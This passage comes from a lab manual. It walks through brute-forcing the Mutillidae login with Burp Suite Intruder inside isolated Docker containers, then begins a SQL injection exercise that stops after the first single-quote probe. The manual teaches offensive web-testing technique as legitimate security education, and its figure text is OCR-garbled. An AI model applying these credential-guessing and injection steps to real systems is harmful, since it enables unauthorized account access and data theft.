invader, and a so-called repeater are all included in Burp Suite for automating requests. It is
possible to view all traffic between a browser and a web page by using Burp Suite as a proxy
server and running the web browser through this proxy server. Burp Suite can modify traffics

before forwarding them, which can be used to simulate some uncommon situations.

Mutillidae is a web application that intentionally incorporates security vulnerabilities. The
main purpose of the Mutillidae is to assist security experts to examine their skills and tools in
a legal environment. It helps web developers to comprehend more accurately the processes of
securing web applications. Moreover, it permits instructors to educate and students to learn

web application security in an isolated environment.
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6.3 Performing the Lab

Step 1: Prepare the Environment of the Experiment
First, start and attach the victim container by opening a GNOME Terminal on the Ubuntu

machine and running the following commands

docker start victim_1

docker attach victim_1

1 csl@csL: ~

:~5 docker start victim 1
victim 1
:~$ docker attach victim_1

root@victim_1:/#

Fig 6.1: Start and Attach the Victim Container

In the victim container, all services are disabled by default. Run the following command in the

terminal of the victim container to start the required services.

services.sh

I+l @victim_1: f

root@victim_1:/# services.sh
* Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 10.10.18.3 for ServerName
OK
* Starting deferred execution scheduler atd (0].4
* Starting periodic command scheduler crond (0].4
Starting distccd
* Starting MysQL database server mysqld (0] 4
* Checking for corrupt, not cleanly closed and upgrade needing tables.
Configuring network interfaces...
Starting portmap daemon...
Starting Postfix Mail Transport Agent postfix
Starting PostgreSQL 8.3 database server
Starting ftp server proftpd
Starting Samba daemons
starting network management services: snmpd.
snmpd[715]: error finding row index in _ifXTable_container_row_restore

* Starting OpenBSD Secure Shell server sshd

* Starting system log daemon...

* Starting Tomcat servlet engine tomcat5.5

* Starting internet superserver xinetd

* Doilng Wacom setup...

* Running local boot scripts (/etc/rc.local)
nohup: appending output te "nohup.out’
nohup: appending output toe “nohup.out’

root@victim_1:/# I

Fig 6.2: Start Necessary Services of the Victim Container
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Open another GNOME Terminal in the ubuntu machine and run the following commands to

start and attach the attacker container

docker start attacker_1

docker attach attacker_1

1 csl@csL: ~

docker start attacker_1

attacker _:

|

docker attach attacker 1

Fig 6.3: Start and Attach the Attacker Container

Step 2: Get the Network Information of the Attacker Container

Run the “ifconfig” command from the terminal of the attacker container to obtain the IP address

of the attacker container.

root@attacker_1: [

[:—L Q# -[/]
ifconfig

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
inet 10.10.10.2 netmask 255.255.255.248
ether 02:42:0a:0a:0a:02 txqueuelen @ (Ethernet)
RX packets 44 bytes 6014 (5.8 KiB)
RX errors @& dropped @ overruns 8 frame @
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @

mtu 1500

carrier @

Fig 6.4: IP Address of the Attacker Container

broadcast 10.10.18.7

collisions ©

To determine the gateway of the attacker container, run the “route -n” command.

root@attacker_1: /

[r—; Q# -[1]
route -n

Kernel IP routing table
Destination Gateway
0.0.0.0 16.10.10.1
10.10.10.0 0.0.0.0

Genmask
0.0.0.0 UG 0]
255.255.255.248 U 0

Fig 6.5: Gateway of the Attacker Container

Flags Metric Ref

Use Iface
6] 0 ethe
6] 0 ethe

The IP address of the attacker container is 10.10.10.2, which belongs to the 10.10.10.0/29

network, and its gateway is 10.10.10.1.

70



Step 3: Scanning Available Hosts
In the terminal of the attacker container, run a Nmap ping scan on the “10.10.10.0/29” network

to show the available hosts of the network

root@attacker_1: /

( -[/]
[:_ nmap -sn 10.10.10.0/29
Starting Nmap 7.91 ( https://nmap.org )} at 2821-09-26 05:18 UTC
Mmap scan report for CSL (10.10.10.1)
Host is up (©.000891s latency).
MAC Address: 02:42:C8:19:06:91 (Unknown)
Nmap scan report for victim 1.vulnet (10.10.10.3)
Host is up (0.000027s latency).
MAC Address: 02:42:0A:0A:0A:03 (Unknown)
Mmap scan report for attacker_1 (10.10.18.2)
Host is up.
Nmap done: 8 IP addresses (3 hosts up) scanned in 1.64 seconds

Fig 6.6: Available Hosts in the Network

According to the ping scan report, the following three hosts are available on the
“10.10.10.0/29” network.

e 10.10.10.1 is the gateway of the “10.10.10.0/29” network.
e 10.10.10.2 is the attacker container.

e 10.10.10.3 is the victim container.
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Step 4: Access the Mutillidae Web Application
In the terminal of the attacker container, type “firefox” and hit “Enter” to launch the Firefox

browser.

firefox

Kali Linux - Mozilla Firefox (on attacker_1)

Kali Linux X |+

c @ @ file:///usr/share/kali-defaults/web/homepage.html - U n o & =

) Kali Linux # Kali Tools Kali Docs XX Kali Forums X Kali NetHunter ® Exploit-DB % Google Hacking DB J OffSec

KAH H KALILINUX TOOLS DOCUMENTATION FORUMS BUGTRACKER OFFENSIVE SECURITY I

Welcome to Kali Linux

The Industry's Most Advanced Penetration Testing Distribution

Now that you have successfully downloaded Kali Linux, here are some good resources to help
you get started.

Fig 6.7: Firefox Browser Running on the Attacker Container

Type the IP address of the victim container in the Firefox browser and hit “Enter” to access the

Metasploitable2 web server.

Metasploitable2 - Linux - Mozilla Firefox (on attacker_1) - 0o X

Metasploitable2 - Linux % | +

c @ © 4 10.10.10.3 g In @ & =

5 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums ¥ Kali NetHunter & Exploit-DB % Google Hacking DB} Offsec

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

« phpMyAdmin
« Mutillidae

* DVWA

« WebDAV

Fig 6.8: Metasploitable2 Web Server
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Click “Mutillidae” to open the Mutillidac web application.

Mozilla Firefox (on attacker_1) = @
$ 10.10.10.3/mutillidae/ X | +
&« [ © | £ 10.10.10.3/mutillidae/ e w In o &

3 Kali Linux £ Kali Tools [ Kali Docs ¥ Kali Forums ¥ Kali NetHunter = Exploit-DB % Google Hacking DB} Offsec

®@%¢ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

View Captured Data

Home Login/Register Toggle Hints Toggle Security Reset DB View Log

Mutillidae: Deliberately Vulnerable PHP
Scripts Of OWASP Top 10

Latest Version / Installation

» Latest Version

« Installation Instructions

» Usage Instructions

« Get rid of those pesky PHP errors
-

.

Change Log
Py Notes
Site
hacked...err...quality- Samurai WTF and Backtrack contains all the tools needed or you may build your own
tested with Samurai collection
L___WTF _Racktrack

Fig 6.9: Mutillidae Web Application

To access the Mutillidae Login page, click the “Login/Register” tab.

Mozilla Firefox (on attacker_1) _

§ 10.10.10.3/mutillidae X | +

&« ¢ o © | & 10.10.10.3/mutillidae/index.php?page=login.php e g In @D @

4 Kali Linux & Kali Tools [ Kali Docs ¥ Kali Forums &Y Kali NetHunter = Exploit-DB % Google Hacking DB} Offsec

@)%« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Reset DB View Captured Data

Toggle Security View Log

Login/Register Toggle Hints

Core Controls 4 L =
ogin
OWASP Top 10 4 9
p

Name
Password
Py o
Site
hacked...err...quality- Dont have an account? Please register here
tested with Samurai
L WIE Backiracl

Fig 6.10: Mutillidae Login Page
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Step 5: Firefox Proxy Configuration

To make Firefox compatible with Burp Suite, go to the Firefox menu on the top right corner of
the Firefox browser and click on “Preferences” from the drop-down menu. Scroll down to the
“Network Settings” section on the Preference page and click the “Settings...” button. Select
“Manual proxy configuration” on the “Connection settings” window, then enter the Burp Proxy
listener address in the HTTP Proxy field (by default this is set to 127.0.0.1). Then in the port
field, enter the Burp Proxy listener port (by default, 8080). Select the option that says “Also
use this proxy for FTP and HTTPS”. Delete everything in the “No proxy for” field and click
“OK” to save the settings.

Preferences - Mozilla FireFox (on attacker_1)

$ 10.10.10.3/mutillidae’ X ¥ Preferences x |+

[N &) Firefox | about:preferences W n @ &

7 Kali Linux # Kali Tools [ Kali Docs XX Kali Forums &Y Kali NetHunter # Exploit-DB % Google Hacking DB J Offsec

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network

Use system proxy settings

() EManuaI proxy configuration

HTTP Proxy 127.0.0.1

V' Also use this proxy for FTP and HTTPS
HTTPS Proxy 127.0.0.1 8080

ETP Proxy 127.0.0.1 rt| 8080

Help Cancel (0].4

Fig 6.11: Firefox Proxy Configuration
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Step 6: Start Burp Suite from the Attacker Container
Open a new terminal by clicking the “+” icon on the upper left corner of the attacker container's
terminal, then type “docker exec -it attacker_1 /bin/bash” and hit “Enter” to get a new

interactive shell of the attacker container. To start Burp Suite, type “burpsuite” and hit “Enter”.

root@attacker_1: /

root@attacker_1: /

:~S docker exec -it attacker_1 /bin/bash
/

burpsuite

Burp Suite

Community Edition

Fig 6.12: Start Burp Suite

Burp Suite will first prompt to create a project, “Temporary project” is selected by default,
simply click “Next”. Then Burp Suite will ask to select a configuration to load for the project,

by default, “Use Burp defaults” is selected. To make the Burp Suite ready to use, click “Start

2

Burp”.

Burp Suite Community Edition v2021.8.2 - Temporary Project (on attacker_1)

Burp Project Intruder Repester Window Help
Sequencer Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target Proxy Intruder Repester
Tasks Hewscan | [ERL (03 (3 .7  Time to level up? Catch more bugs with Burp Suite ... [ Find out more B
% Fitter | Running | [ Paused | ( Finished | ([ Live task | [ Scan | [ Intruder attack | Issue activity [Pro version only] @ .

1 Live passive crawl from Prasy (sl traffic) [ORE R % Fiter ( High | { Madium | ( Low | ( Info | { Certain | { Firm | | Tentative |
Add links. Add item itself. same domain and ... 0 items added to site map
Issue type Host
capturing: @) erponans paacrsard | Suspicious input transformation (reflected)  http:jfinsecure-bank.c... furl-shorten
@) SMTF header injection hitp:ffinsecure-websit... Jcontact-us
0 responses queusd
I Serialized object in HTTF message hitp:/finsecure-bank ... Jblog
¥ Cross-site scripting (DOM-based) https:ifinsecure-bank....
# XML external entity injection https:jfuulnerable-we. . fproductistock
@ External service interaction (HTTP) https:jfinsecure-websi... fproduct
@ Web cache poisoning http:flinsecure-bank.c... jcontact-us
@ Server-side template injection http:jfinsecure-bank.c... juser-homepage
@ S0L iniection httes:iivulnerable-we... |
Event log @ .~
Advisary
Time Type Source
06:42:14 12 Mowv 2021 Info Proxy Proxy service started on 127.0.0.1:80:
06:42:01 12 Mowv 2021 Info Suite Running as super-user, embedded brg
Mermory: B9.6MB I ] Disk-326kB ]

Fig 6.13: Burp Suite
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The embedded browser must be enabled for HTML content to be rendered. To do so, go to the

“Project options” tab and then the “Misc” sub-tab. Under the “Embedded Browser” section,

select the option “Allow the embedded browser to run without a sandbox.”

Burp Suite Community Edition v2021.8.2 - Temporary Project (on attacker_

Alltaols:
Praxy:
Scanner:
Intruder:
Repeater:
Sequencer,

Extender:

® Logging

{8} These settings control lagging of HTTP requests and responses.

Requests
Requasts
Requests
Requests
Requests
Requests

Reqguests

Responsas
Responsas
Responses
Responses
Responses
Responses

Responses

Burp  Project Intruder Repeater Window Help
Dashbaard Target
Sequencer Decoder Comparer
Connections HTTP LS Sessions Misc

Praxy

Logger Extender

Intruder

Project options

Repaater

User optians Learn

® Embedded Browser

{0} These settings control behaviour of the embeddsd browser.

Allows the embedded browser to run without a sandbox.

Stop the embedded browser using the GPU.

Fig 6.14: Enable Embedded Browser of Burp Suite

Now, under the “Intercept” sub-tab of the “Proxy” tab, make sure the intercept is ON.

Burp Suite Community Edition v20

8.2 - Temporary Project (on attacker_1)

Burp  Project Intruder FRepeater Window Help
Sequencer Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target Proxy Intruder Repeatar
Intercept HTTP history ‘WebSockets history Options

Forward Drop Intercept is on Action |

Open Browser

Use Burp's embedded Use a different browser

browser

Using Burp Proxy

I this is your first time using Burp, you might
want to take a ook at our guids to help you get
the most out of your experience.

| Wiew |

[ View documertation

Burp Proxy options

Reference information about the differert
options you have for customizing Burp Proxy's
behaviour.

| Wiew

a - »
- vou'll need to perform a few additional
There's no need to configure your ' —LIT steps to configure your browser's proxy
proxy settings manually. Use Burp's settings. For tasting aver HTTPS, you'l
embedded Chromium browser to start also need to install Burp's CA certificate.
testing right away. E ] g
L - a P

Burp Proxy documentation

The central point of access for all information
you need to use Burp Proxy.

| Wiew

Fig 6.15: Burp Suite Proxy Intercept ON
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Step 7: View the Contents of the User and Password Files

For brute-forcing web authentication on the Mutillidae web application's login page, a file

containing some users and another file containing some passwords has already been created.

To see the contents of the files, click the “+” button in the upper left corner of the attacker

container's terminal, then type the following command and hit “Enter” to launch another new

interactive shell of the attacker container.

docker exec -it attacker 1 /bin/bash

Now run the following commands to see the contents of the ‘“user_list.txt” and

“password_list.txt” files.

cat /nome/Files/user_list.txt

cat /home/Files/password_list.txt

root@attacker_1: / Q

root@attacker_1: / root@attacker_1: /
:~5 docker exec -it attacker_1 /bin/bash

oo @ -1/1

[:_ cat fhome/Files/user_list.txt
root

admin

guest

user

test

msfadmin

postgres

: -[/1

[:_ cat /home/Files/password_list.txt
rootpass

adminpass

guestpass

userpass

testpass

msfadmin

postgres

L ®

Fig 6.16: Contents of the “user_list.txt” and “password_list.txt” Files

7




Step 8: Brute Forcing Web Authentication
Now that the browser has been configured to use the Burp proxy and the proxy is listening,
let's go ahead and make a request from the login page to generate some traffic so that it can be

reviewed in the proxy. Type random username and password and click “Login”.

Mozilla Firefox (on attacker_1)
= 10.10.10.3/mutillidae’ X | +
> X @ © | & o 10.10.10.3/mutillidae/index.php?page=Ilogin.php vee W moe =

™ Kali Linux & Kali Tools [@ Kali Docs ¥ Kali Forums =¥ Kali NetHunter = Exploit-DB % Google Hacking DB J} OffSec

@)%« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Reset DB

View Captured Data

View Log

Home Login/Register Toggle Hints Toggle Security

oni
ogin
OWASP Top 10 4 2
Back
)

Others 4
Documentation 4

Name csl

Password 2000000

Dont have an account? Please register here

P Y

Site
hacked...err...quality-
tested with Samurai

LL_JMTE Backfrack

Fig 6.17: Sample Login
Now switch to Burp Suite and see how the traffic has been intercepted in the middle of its

journey to the server and directed to Burp Proxy instead.

Burp Suite Community Edition v2021.8.2 - Temporary Project (on attacker_1)

Burp Preject Intruder Repester Windew Help

Sequencer Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target Intruder Repeater
ntercept HTTP history WebSockets history Options
£ Request to http:/f10.10.10.3:80
W@ uren (3

[ Forward | [ Drop [l rterceptizon Action |[ ©penBrowser

pretty |EERE Hex W =

POST /mutillidae/index. php?page=leogin. php HTTP/1.1
Host: 10.16.18.3

User-Agent: Mozilla/5.0 (K11, Linux xB6_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml, application/xml; g=0. 3, image/webp, */*; ¢=0. 8
Accept-Language: en-US, en; cr0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 53

Origin: http: //10.10.10. 2

Connection: close

Referer: http: //10.10.10. 3/mutillidae/index. php?page=login. php

Cookie: PHPSESSID=12304d35929e96e5f 0df 98225cbT43c0

Upgrade-Insecure-Requests: 1

oW
HOLD3dSNI

@wm

HEHEHE
Bow o

15 username=cslé&password=cslpassélogin-php-submit-buttercLogin

0 matches

@3 (€[] [s=arch...

Fig 6.18: Burp Suite Intercept Traffic
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Right-click and select “Send to Intruder” from the given options.

Burp Suite Community Edition v2021.8.2 - Temporary Project (on attacker_1)

Burp  Project Intruder Repeater Window Help
Sequencer Decoder Comparer Logger Extender Project options User aptions Learn

Dashboard Target Proxy Intruder Repeater

HTTF history WebSockets history Options

£ Request to http:/f10.10.10.3:80

| Forward || Drop | Intercept is on | Action || ©openBrowser
Pratty Hex n =

®

| HTTP/L

1 POST /mutillidaesindex. php?page=login. php HTTR/L1. 1
2 Host: 10.10.10.3 =
= User-Agent: Mozilla/S.0 (X11; Linux xB6_64; rv:78.0) Gecko/20100101 Firsfox/78.0 @
4 Bccept: textshtnl, spplicationsxhtnl+xnl, spplicationsxml; q=0. 9, image/webp, */*; g=0. 8 =
S Accept-Language: en-US,en; 0.5 can 2]
& Accept-Encoding: gzip, deflate " " " 5‘
7 Content-Type: =applicationsx-www-form-urlencoded = il =
& Content-Length: 53 Send to Repeater Ctrl-R
o origin: http: //10.10.10.3
10 connection: close Send to Sequencer
11 Referer: http://10.10.10. 3/mutillidae/index. php?page=login. php
12 Cookie: ID=1: 1 odf b743c0 Send to Comparer
13 Upgrade-Insecure-Requests: 1 Send to Decoder
14
15 usernamescslepasswordecslpassElogin-php-submit -but toreLogin Request in browser 5
Engsgerment toals [Pro version only]
Change request method
Change body enceding
Copy URL
Copy as curl command
Copy to file
Paste from file
Save item
—— Don't i Pt requests >
(@48 [€][3]) [ search... || omatches
— Do i ot >

Fig 6.19: Sending Traffic to Burp Intruder

Switch to the “Intruder” tab. The “Positions” sub-tab guesses as to where it might be useful to
position payloads and places payload positions accordingly. Since the focus is on the username
and the password fields, clear all the highlighted fields by clicking the “Clear §” button. Then
select the value of the username field click the “Add §” button, repeat for the password field.
Change the attack type to “Cluster Bomb” since there are two fields to injecting payload and

each has its own payload list.

Burp Suite Community Edition v2021.8.2 - Temporary Project (on attacker_1)

Burp Project Intruder Repsater  Window  Halp
Sequencer Decoder Comparar Logger Extender Project options User options Learn
Dashbaard Target Prosxy Intruder Repeatar
1= 2 =
Target Positions P ayloads Resource Pool Options
(@ Payload Positions Start attack
Configure the positions whers payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payioad
positions - see help for full details
Attack type: | Cluster bormb |
1 POST smutillidae/index. phpPpage=login. php HTTP/1.1 | Add§ |
2 Host: 10.10.10.3
3 User-Agent: MozillasS.0 (X11; Linux x86_84; rv:78.0) Gecko/20100101 Firsfox/78.0 [ Clears ]
4 Accept: text/html, spplicaticn/xhtml+xml, spplicstion/xml; =0, 9, imags webp, */* 0.8
S Accept-Language: en-US, er;ce0. 5 | Auto § |
& Accept-Encoding: gzip, deflate o
7 Referer: http: /10,10, 10. 3/mutillidse/index. php?pags=login. php | Refres |
5 Content-Type: =pplication/x-www-form-urlencodsd
5 Content-Length: 59
10 Origin: http://10.10.10. 2
11 Commection: closs
12 Cookie: PHPSESSID=12304c95929296=6f0df98=25ch743c0
12 Upgrade-Insecurs-Requests: 1
14
15 username=Scsl§&password=Scslpasss&login-php-submit-buttor=Login
@& (€3 [= Omatches [ cimar
2 payload positions Length: 627

Fig 6.20: Payload Position
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Now click on the “Payloads” sub-tab. The “Payload set” is selected to 1 which denotes the
username payload position. Choose “Runtime file” as the payload type. Click the “Select file...”
button in the ‘“Payload Options [Runtime file]” section and browse the

“/home/Files/user_list.txt” file.

Burp Suite Community Edition v2021.8.2 - Temporary Project (on attacker_1)

Burp Project Intruder Repeater Window Help

Sequencer Decoder Comparer Logger Extender Project options User options Learn
Dashboard Targst Praoxy Intruder Repeater
1% 2 %
Target Positions P ayloads Resource F ool Options
(@ Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each
payload set. and =ach payload type can be custornized in different ways.

Payload set: | 1 ~ | Payload court: 1 (approx)

Payload type: | Rurtime file ~ | Request court: 0

(@ Payload Options [Runtime filel

This pavlasd typs lets vou configurs a file from which to read paylead strings st runtims.

| selectfie... || ihomeiFilesiuser-list_login.txt

() Payload Processing

“fou can define rules to parform various processing tasks on sach payload befors it is us=d.

Enabled Rule

| |
| |
| Remove |
| |
| |

Fig 6.21: Set Username File 1

Now select 2 in the “Payload set” and choose “Runtime file” as the payload type. Click the
“Select file...” button in the “Payload Options [Runtime file]” section and browse the

“/home/Files/password_list.txt” file.

Burp Suite Community Edition v2021.8.2 - Temporary Project (on attacker_1)

Burp  Project Intruder Repeater  Window  Help

Sequencer Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target Proxy Irtruder Repester
1% 2 x
Target Positions Payloads Resource Pool Options
(@ Payload Sets I ——

“You can define one or more payload sets. The number of payload sets depends on the sttack typs defined in the Positions tab. Various payload types are available for sach
payload set, and sach payload typs can be custornized in differert ways.

Payload set: | 2 ~ | Payload count: 2 (approx)

Payload type: | Rurtime file ~| Request count: 2 (approx)

(@ Payload Options [Runtime filel

This payload type lets you configure a file from which to read payioad strings st runtime

[ select file.. || thomeiFilesipassword-list_login.txt

(@ Payload Processing

“ou can define rules to perform various processing tasks on sach payload befors it is used.

Enabled Rule

| |
| |
|  Remowe |
| |
| |

Fig 6.22: Set Payload File2
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After setting both the payloads, click the “Start attack” button.

2. Intruder attack of 10.10.10.3 - Temporary attack - Not saved to project file (on atta... —

Attack Save Columns

Results Target Pasttions Payloads Resource Pool Options
Filter: Shawing all tterms ‘@
Request Payload 1 Payload 2 Status Errar  Timeout Length Ceomment
a 200 25823
1 root rootpass 200 25823
2 admin roctpass 200 25823
e guest rooctpass 200 25823
4 user rootpass 200 25823
5 test rootpass 200 25823
[ root adminpass 200 25823
7 adrmin adrminpass 302 25892
8 guest adminpass 200 25821
9 user adminpass 200 25821
10 tast adrminpass 200 25821
11

root guestpass 200 25821

Finishe<| Qe |
Fig 6.23: Cluster Bomb Attack

Almost all of the attempts have a “Status” code of “200,” except for Request 7, which has a
“Status” code of “302.” Because the status code for Payload 1 (username) “admin” and Payload
2 (password) “adminpass” is unique, these are the credentials that are most likely to work.
Click on Request 7 and go to the “Response” tab to verify it. The “Render” sub-tab illustrates
how the website will react when these credentials are entered. So using “admin” in the Name
input box and “adminpass” in the Password input box attacker can log in to the Mutillidae web

application.
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2. Intruder attack of 10.10.10.3 - Temporary attack - Not saved to project file (on attacker_1)

Attack Save Celumns

Results Target Posttions Payloads Resource Pool Options
Filter: Sheowing all terms |®
Request Payload 1 Payload 2 Status Error  Timeout  Length Comment
o 200 25823
1 roct roctpass 200 25823
2 admin roctpass 200 25823
3 guest roctpass 200 25823
4 user roctpass 200 25823
5 test rootpass 200 25823
[ roct adminpass 200 25823
7 admin adminpass 302 258392
8 guest adminpass 200 25821
] usar adminpass 200 25821
10 test adminpass 200 25821
11 root guestpass 200 25821
12 admin guestpass 200 25821
Request Response

Pretty Raw Hex

Q}(( Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Logged In
Admin: admin (Monkey!)

Toggle Security Reset DB

Core Controls 4
OWASP Top 10 »

N

Finished

Fig 6.24: Verify the Credentials
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Chapter 7
Lab 05 - Exploiting SQL Injection Vulnerabilities of Mutillidae

7.1 Overview
This lab exercise explores the approach of exploiting the SQL injection vulnerability on the
User Info page of the Mutillidae web application running on Metasploitable2 by extracting

information from the database.

7.2 Background Information

SQL injection is a code injection technique used to attack data-driven applications, that
involves inserting malicious SQL code into an input field and waiting for them to execute. SQL
injection is commonly associated with website attacks, although it may also be used to attack
any SQL database. SQL injection allows an attacker to interfere with a database query made
by an application. It allows an attacker to see data that they wouldn't usually be able to see.
This could include data belonging to other users or any other data that the application has access
to. In many cases, an attacker can modify or remove this data, causing the application’s content
or behavior to be permanently altered. An attacker can use a SQL injection attack to
compromise the underlying server or other back-end infrastructure or to launch a denial-of-

service attack in some cases.

Mutillidae is a web application that intentionally incorporates security vulnerabilities. The
main purpose of the Mutillidae is to assist security experts to examine their skills and tools in
a legal environment. It helps web developers to comprehend more accurately the processes of
securing web applications. Moreover, it permits instructors to educate and students to learn

web application security in an isolated environment.
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7.3 Performing the Lab

Step 1: Prepare the Environment of the Experiment
First, start and attach the victim container by opening a GNOME Terminal on the Ubuntu

machine and running the following commands

docker start victim_1

docker attach victim_1

+1 csl@csL: ~

:~$ docker start victim_ 1
victim_1
:~5 docker attach wvictim_1

root@victim_1:/#

Fig 7.1: Start and Attach the Victim Container

In the victim container, all services are disabled by default. Run the following command in the

terminal of the victim container to start the required services.

services.sh

&l @victim_1: f

root@victim_1:/# services.sh
* Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 10.10.10.3 for ServerName
OK
* Starting deferred execution scheduler atd OK
* Starting periodic command scheduler crond (0] ¢
Starting distccd
* Starting MysSQL database server mysqld (0] .4
Checking for corrupt, not cleanly closed and upgrade needing tables.
Configuring network interfaces...
Starting portmap daemon...
Starting Postfix Maill Transpert Agent postfix
Starting PostgreSQL 8.3 database server
Starting ftp server proftpd
Starting Samba daemons
Starting network management services: snmpd.
snmpd[715]: error finding row index in _ifXTable_ container_row_restore

* Starting OpenBSD Secure Shell server sshd
* Starting system log daemon...

* Starting Tomcat servlet engine tomcat5.5

* Starting internet superserver xinetd

* Doing Wacom setup...

* Running local boot scripts (/etc/rc.leocal)
nohup: appending output to "nohup.out’
nohup: appending output to “nohup.out'

root@victim_1:/# I

Fig 7.2: Start Necessary Services of the Victim Container
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Open another GNOME Terminal in the ubuntu machine and run the following commands to

start and attach the attacker container

docker start attacker_1

docker attach attacker_1

1 csl@csL: ~

docker start attacker_1

attacker _:

|

docker attach attacker 1

Fig 7.3: Start and Attach the Attacker Container

Step 2: Get the Network Information of the Attacker Container
Run the “ifconfig” command from the terminal of the attacker container to obtain the IP address

of the attacker container.

root@attacker_1: /

[j—l 1# -[/]
ifconfig

eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1580
inet 10.10.10.2 netmask 255.255.255.248 broadcast 10.10.10.7
ether 02:42:0a:0a:0a:02 txqueuelen @ (Ethernet)
RX packets 44 bytes 6014 (5.8 KiB)
RX errors @ dropped @ overruns @ frame ©
TX packets @ bytes @ (0.0 B)
TX errors @ dropped ©@ overruns @ carrier @ collisions @

Fig 7.4: IP Address of the Attacker Container

To determine the gateway of the attacker container, run the “route -n” command.

root@attacker_1: /

i .- -[/]
’—_ rout

e =n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.16.10.1 0.0.0.0 UG (0] 0 0 ethe
10.10.10.0 0.0.0.0 255.255.255.248 U 0 0 0 ethoe

Fig 7.5: Gateway of the Attacker Container
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The IP address of the attacker container is 10.10.10.2, which belongs to the 10.10.10.0/29
network, and its gateway is 10.10.10.1.

Step 3: Scanning Available Hosts
In the terminal of the attacker container, run a Nmap ping scan on the “10.10.10.0/29” network

to show the available hosts of the network

root@attacker_1: /

(oo @ -[/]
[:_ nmap -sn 10.10.160.0/29
Starting Nmap 7.91 ( https://nmap.org ) at 2821-09-26 05:18 UTC
Nmap scan report for CSL (10.10.18.1)
Host is up (0.000091s latency).
MAC Address: ©2:42:C8:19:D6:91 (Unknown)
Mmap scan report for victim_1.vulnet (10.10.18.3)
Host is up (©.000827s latency).
MAC Address: 02:42:0A:0A:0A:03 (Unknown)
Mmap scan report for attacker 1 (10.10.18.2)
Host is up.
Nmap done: B IP addresses (3 hosts up) scanned in 1.64 seconds

Fig 7.6: Available Hosts in the Network

According to the ping scan report, the following three hosts are available on the
“10.10.10.0/29” network.

e 10.10.10.1 is the gateway of the “10.10.10.0/29” network.
e 10.10.10.2 is the attacker container.

e 10.10.10.3 is the victim container.
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Step 4: Access the Mutillidae Web Application
In the terminal of the attacker container, type “firefox” and hit “Enter” to launch the Firefox

browser.

firefox

Kali Linux - Mozilla Firefox (on attacker_1)

Kali Linux X |+

c @ @ file:///usr/share/kali-defaults/web/homepage.html - U n o & =

) Kali Linux # Kali Tools Kali Docs XX Kali Forums X Kali NetHunter ® Exploit-DB % Google Hacking DB J OffSec

KAH H KALILINUX TOOLS DOCUMENTATION FORUMS BUGTRACKER OFFENSIVE SECURITY I

Welcome to Kali Linux

The Industry's Most Advanced Penetration Testing Distribution

Now that you have successfully downloaded Kali Linux, here are some good resources to help
you get started.

Fig 7.7: Firefox Browser Running on the Attacker Container

Type the IP address of the victim container in the Firefox browser and hit “Enter” to access the

Metasploitable2 web server.

Metasploitable2 - Linux - Mozilla Firefox (on attacker_1) - 0o X

Metasploitable2 - Linux % | +

c @ © 4 10.10.10.3 g In @ & =

5 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums ¥ Kali NetHunter & Exploit-DB % Google Hacking DB} Offsec

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

« phpMyAdmin
« Mutillidae

* DVWA

« WebDAV

Fig 7.8: Metasploitable2 Web Server
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Click “Mutillidae” to open the Mutillidae web application.

Mozilla Firefox (on attacker_1) - 0 &
¥ 10.10.10.3/mutillidae/ X | +
&« ¢ © © & 10.10.10.3/mutillidae/ e w m o & =

3 Kali Linux £ Kali Tools Kali Docs ¥ Kali Forums {3 Kali NetHunter = Exploit-DB % Google Hacking DB J Offsec

@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP
_ Scripts Of OWASP Top 10

Latest Version / Installation

+ Latest Version

i + Installation Instructions

+ Usage Instructions
Py

» Get rid of those pesky PHP errors
+ Change Log
+ Notes

Site
hacked...err...quality- Samurai WTF and Backtrack contains all the tools needed or you may build your own
tested with Samurai collection
| MITE Racktrack

Fig 7.9: Mutillidae Web Application

Step 5: Perform SQL Injection
To perform SQL injection, navigate to the “User Info” page of the Mutillidae web application

by choosing the following
OWASP Top 10 > Al-Injection > SQLI - Extract Data > User Info

This page allows a registered user to view his account details and it has been made vulnerable
to SQL injection. Let’s check it by typing a single quote (') in the “Name” input box and

clicking the “View Account Details” button to see how the website reacts.
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Mozilla Firefox (on attacker_1) -

¥ 10.10.10.3/mutillidae’ X | +

&« c © & 10.10.10.3/mutillidae/index.php?page=user-info.php w n o €
7 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums &Y Kali NetHunter & Exploit-DB & Google Hacking DB} OffSec

@4« Mutillidae: Born to be Hacked

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Reset DB

Version: 2.1.19

Home Login/Register Toggle Hints
OWASP Top 10 4

R Back

